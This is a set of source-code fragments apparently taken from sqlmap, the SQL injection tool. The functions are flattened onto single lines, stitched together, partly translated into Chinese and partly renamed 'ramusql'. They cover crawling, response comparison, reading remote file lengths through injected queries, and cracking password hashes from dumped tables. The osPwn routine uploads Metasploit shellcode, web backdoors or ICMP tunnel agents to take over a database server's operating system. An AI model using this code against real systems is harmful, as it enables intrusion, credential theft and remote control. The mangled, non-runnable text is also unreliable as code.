getUnicode(page) code = e.code threadData.lastHTTPError = (threadData.lastRequestUID, code) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 status = getUnicode(e.msg) responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize( ) if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()) logHTTPTraffic( requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) if e.code == httplib.UNAUTHORIZED and not conf.ignore401: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) elif e.code == httplib.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise SqlmapConnectionException(errMsg) else: debugMsg = "page not found (%d)" % code singleTimeLogMessage(debugMsg, logging.DEBUG) processResponse(page, responseHeaders) elif e.code == httplib.GATEWAY_TIMEOUT: if ignoreTimeout: return None, None, None else: warnMsg = "unable to connect to the target URL (%d - %s)" % ( e.code, httplib.responses[e.code]) if threadData.retriesCount < conf.retries and not kb.threadException: warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) return Connect._retryProxy(**kwargs) elif kb.testMode: logger.critical(warnMsg) return None, None, None else: raise SqlmapConnectionException(warnMsg) else: debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg)
def crawlThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: if threadData.shared.unprocessed: current = threadData.shared.unprocessed.pop() if current in visited: continue elif conf.crawlExclude and re.search( conf.crawlExclude, current): dbgMsg = "skipping '%s'" % current logger.debug(dbgMsg) continue else: visited.add(current) else: break content = None try: if current: content = Request.getPage(url=current, crawling=True, raise404=False)[0] except SqlmapConnectionException as ex: errMsg = "connection exception detected ('%s'). skipping " % getSafeExString( ex) errMsg += "URL '%s'" % current logger.critical(errMsg) except SqlmapSyntaxException: errMsg = "invalid URL detected. skipping '%s'" % current logger.critical(errMsg) except _http_client.InvalidURL as ex: errMsg = "invalid URL detected ('%s'). skipping " % getSafeExString( ex) errMsg += "URL '%s'" % current logger.critical(errMsg) if not kb.threadContinue: break if isinstance(content, six.text_type): try: match = re.search(r"(?si)<html[^>]*>(.+)</html>", content) if match: content = "<html>%s</html>" % match.group(1) soup = BeautifulSoup(content) tags = soup('a') tags += re.finditer( r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content) for tag in tags: href = tag.get("href") if hasattr( tag, "get") else tag.group("href") if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[ 0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] url = _urllib.parse.urljoin( current, htmlUnescape(href)) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) if conf.scope: if not re.search(conf.scope, url, re.I): continue elif not _: continue if (extractRegexResult( r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "" ).lower() not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) if re.search(r"(.*?)\?(.+)", url): threadData.shared.value.add(url) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links pass finally: if conf.forms: findPageForms(content, current, False, True) if conf.verbose in (1, 2): threadData.shared.count += 1 status = '%d/%d links visited (%d%%)' % ( threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length)) dataToStdout( "\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
def checkDependencies(): missing_libraries = set() for dbmsName, data in DBMS_DICT.items(): if data[1] is None: continue try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): __import__("_mssql") import pymssql if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from '%s'" % data[2] logger.warn(warnMsg) elif dbmsName == DBMS.MYSQL: __import__("pymysql") elif dbmsName == DBMS.PGSQL: __import__("psycopg2") elif dbmsName == DBMS.ORACLE: __import__("cx_Oracle") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: __import__("kinterbasdb") elif dbmsName == DBMS.DB2: __import__("ibm_db_dbi") elif dbmsName == DBMS.HSQLDB: __import__("jaydebeapi") __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) logger.warn(warnMsg) missing_libraries.add(data[1]) continue debugMsg = "'%s' third-party library is found" % data[1] logger.debug(debugMsg) try: __import__("impacket") debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "'https://github.com/coresecurity/impacket'" logger.warn(warnMsg) missing_libraries.add('python-impacket') try: __import__("ntlm") debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from 'https://github.com/mullender/python-ntlm'" logger.warn(warnMsg) missing_libraries.add('python-ntlm') try: __import__("websocket.ABNF") debugMsg = "'python websocket-client' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'" logger.warn(warnMsg) missing_libraries.add('websocket-client') if IS_WIN: try: __import__("pyreadline") debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'pyreadline' third-party library to " warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "'https://pypi.org/project/pyreadline/'" logger.warn(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg)
def purge(directory): """ Safely removes content from a given directory """ if not os.path.isdir(directory): warnMsg = "skipping purging of directory '%s' as it does not exist" % directory logger.warn(warnMsg) return infoMsg = "purging content of directory '%s'..." % directory logger.info(infoMsg) filepaths = [] dirpaths = [] for rootpath, directories, filenames in os.walk(directory): dirpaths.extend( os.path.abspath(os.path.join(rootpath, _)) for _ in directories) filepaths.extend( os.path.abspath(os.path.join(rootpath, _)) for _ in filenames) logger.debug("changing file attributes") for filepath in filepaths: try: os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE) except: pass logger.debug("writing random data to files") for filepath in filepaths: try: filesize = os.path.getsize(filepath) with open(filepath, "w+b") as f: f.write("".join( chr(random.randint(0, 255)) for _ in range(filesize))) except: pass logger.debug("truncating files") for filepath in filepaths: try: with open(filepath, 'w') as f: pass except: pass logger.debug("renaming filenames to random values") for filepath in filepaths: try: os.rename( filepath, os.path.join( os.path.dirname(filepath), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass dirpaths.sort(cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) logger.debug("renaming directory names to random values") for dirpath in dirpaths: try: os.rename( dirpath, os.path.join( os.path.dirname(dirpath), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: pass logger.debug("deleting the whole directory tree") os.chdir(os.path.join(directory, "..")) try: shutil.rmtree(directory) except OSError as ex: logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex)))
def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonPage = page threadData.lastComparisonCode = code if page is None and pageLength is None: return None if any((conf.string, conf.notString, conf.regexp)): rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) # String to match in page when the query is True if conf.string: return conf.string in rawResponse # String to match in page when the query is False if conf.notString: if conf.notString in rawResponse: return False else: if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): return None else: return True # Regular expression to match in page when the query is True and/or valid if conf.regexp: return re.search(conf.regexp, rawResponse, re.I | re.M) is not None # HTTP code to match when the query is valid if conf.code: return conf.code == code seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])): return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) if not pageLength: pageLength = len(page) if kb.nullConnection and pageLength: if not seqMatcher.a: errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" raise SqlmapNoneDataException(errMsg) ratio = 1. * pageLength / len(seqMatcher.a) if ratio > 1.: ratio = 1. / ratio else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): seqMatcher.a = getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") if any(_ is None for _ in (page, seqMatcher.a)): return None elif seqMatcher.a and page and seqMatcher.a == page: ratio = 1. elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): if not page or not seqMatcher.a: return float(seqMatcher.a == page) else: ratio = 1. * len(seqMatcher.a) / len(page) if ratio > 1: ratio = 1. / ratio else: seq1, seq2 = None, None if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) seq2 = extractRegexResult(HTML_TITLE_REGEX, page) else: seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") if kb.heavilyDynamic: seq1 = seq1.split("\n") seq2 = seq2.split("\n") key = None else: key = (hash(seq1), hash(seq2)) seqMatcher.set_seq1(seq1) seqMatcher.set_seq2(seq2) if key in kb.cache.comparison: ratio = kb.cache.comparison[key] else: ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3) if key: kb.cache.comparison[key] = ratio # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content if kb.matchRatio is None: if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND: kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) if kb.testMode: threadData.lastComparisonRatio = ratio # If it has been requested to return the ratio and not a comparison # response if getRatioValue: return ratio elif ratio > UPPER_RATIO_BOUND: return True elif ratio < LOWER_RATIO_BOUND: return False elif kb.matchRatio is None: return None else: return (ratio - kb.matchRatio) > DIFF_TOLERANCE
def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked( "INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) try: localFileSize = os.path.getsize(localFile) except OSError: warnMsg = u"文件'%s' 丢失" % localFile logger.warn(warnMsg) localFileSize = 0 if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("无法在 PostgreSQL 上检查读取文件'%s'的长度" % remoteFile) sameFile = True else: logger.debug(u"检查远程文件'%s'的长度" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = u"本地文件'%s'和远程文件" % localFile infoMsg += u"'%s'的大小相同 (%d B)" % (remoteFile, localFileSize) elif remoteFileSize > localFileSize: infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)大(%d B)" % ( remoteFile, localFile, localFileSize, remoteFileSize) else: infoMsg = u"远程文件'%s'比本地文件'%s' (%dB)小(%d B)" % ( remoteFile, localFile, localFileSize, remoteFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = u"看起来文件尚未写入" warnMsg += u"(通常出现这种情况是因为DBMS进程用户在目标路径中没有写权限)" logger.warn(warnMsg) return sameFile
def attackDumpedTable(): if kb.data.dumpedTable: table = kb.data.dumpedTable columns = list(table.keys()) count = table["__infos__"]["count"] if not count: return debugMsg = "analyzing table dump for possible password hashes" logger.debug(debugMsg) found = False col_user = '' col_passwords = set() attack_dict = {} for column in sorted(columns, key=lambda _: len(_), reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break for column in columns: if column == col_user or column == "__infos__": continue if len(table[column]["values"]) <= i: continue value = table[column]["values"][i] if hashRecognition(value): found = True if col_user and i < len(table[col_user]["values"]): if table[col_user]["values"][i] not in attack_dict: attack_dict[table[col_user]["values"][i]] = [] attack_dict[table[col_user]["values"][i]].append(value) else: attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value] col_passwords.add(column) if attack_dict: infoMsg = "recognized possible password hashes in column%s " % ( "s" if len(col_passwords) > 1 else "") infoMsg += "'%s'" % ", ".join(col for col in col_passwords) logger.info(infoMsg) storeHashesToFile(attack_dict) message = "do you want to crack them via a dictionary-based attack? %s" % ( "[y/N/q]" if conf.multipleTargets else "[Y/n/q]") choice = readInput( message, default='N' if conf.multipleTargets else 'Y').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException results = dictionaryAttack(attack_dict) lut = dict() for (_, hash_, password) in results: if hash_: lut[hash_.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) for i in xrange(count): for column in columns: if not (column == col_user or column == '__infos__' or len(table[column]['values']) <= i): value = table[column]['values'][i] if value and value.lower() in lut: table[column]['values'][i] = "%s (%s)" % ( getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max( table[column]['length'], len(table[column]['values'][i]))
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if isDigit(tunnel) and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run ramusql as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: __import__("impacket") except ImportError: errMsg = "ramusql requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(filename): try: with openFile(filename, "wb") as f: f.write("1") except IOError as ex: errMsg = "there has been a file opening/writing error " errMsg += "for filename '%s' ('%s')" % ( filename, getSafeExString(ex)) raise SqlmapSystemException(errMsg) else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') if isDigit(choice) and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms( DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms( DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "ramusql does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web)
def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion( ) and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # Reference: https://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # https://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0, )), "8.1 or 2012 R2": ("6.3", (0, )), "10 or 2016 or 2019": ("10.0", (0, )) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % ( self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
def setHandler(): """ Detect which is the target web application back-end database management system. """ items = [ (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), ] _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items) if _: items.remove(_) items.insert(0, _) for dbms, aliases, Handler, Connector in items: if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower( ) not in aliases: debugMsg = "skipping test for %s" % dbms logger.debug(debugMsg) continue handler = Handler() conf.dbmsConnector = Connector() if conf.direct: dialect = DBMS_DICT[dbms][3] if dialect: sqlalchemy = SQLAlchemy(dialect=dialect) sqlalchemy.connect() if sqlalchemy.connector: conf.dbmsConnector = sqlalchemy else: try: conf.dbmsConnector.connect() except NameError: pass else: conf.dbmsConnector.connect() if handler.checkDbms(): if kb.resolutionDbms: conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]() else: conf.dbmsHandler = handler conf.dbmsHandler._dbms = dbms break else: conf.dbmsConnector = None # At this point back-end DBMS is correctly fingerprinted, no need # to enforce it anymore Backend.flushForcedDbms()